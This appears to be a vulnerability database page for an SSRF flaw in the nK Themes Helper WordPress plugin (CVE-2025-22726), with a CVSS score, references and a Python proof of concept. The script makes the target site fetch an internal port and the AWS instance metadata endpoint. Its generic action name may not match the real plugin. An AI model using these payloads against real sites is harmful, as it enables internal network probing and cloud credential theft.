CVE-2025-22726

Description

Server-Side Request Forgery (SSRF) vulnerability in _nK nK Themes Helper nk-themes-helper allows Server Side Request Forgery.This issue affects nK Themes Helper: from n/a through <= 1.7.9.

CVSS Details

CVSS Score

6.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

nK Themes Helper <= 1.7.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-22726 SSRF PoC
# Target: WordPress site with nK Themes Helper plugin <= 1.7.9

target_url = "http://target-site.com/wp-admin/admin-ajax.php"

# SSRF payload - scan internal port
ssrf_payload = {
    "action": "nk_theme_helper_action",
    "url": "http://127.0.0.1:8080/internal-api",
    "dataType": "json"
}

# Alternative: AWS metadata exploit
metadata_payload = {
    "action": "nk_theme_helper_action",
    "url": "http://169.254.169.254/latest/meta-data/",
    "dataType": "json"
}

print("Sending SSRF payload to target...")
response = requests.post(target_url, data=ssrf_payload)
print(f"Status: {response.status_code}")
print(f"Response: {response.text[:500]}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-22726
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-22726
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-22726/
[4] VulDB https://vuldb.com/cve/CVE-2025-22726
[5] https://patchstack.com/database/Wordpress/Plugin/nk-themes-helper/vulnerability/wordpress-nk-themes-helper-plugin-1-7-9-server-side-request-forgery-ssrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

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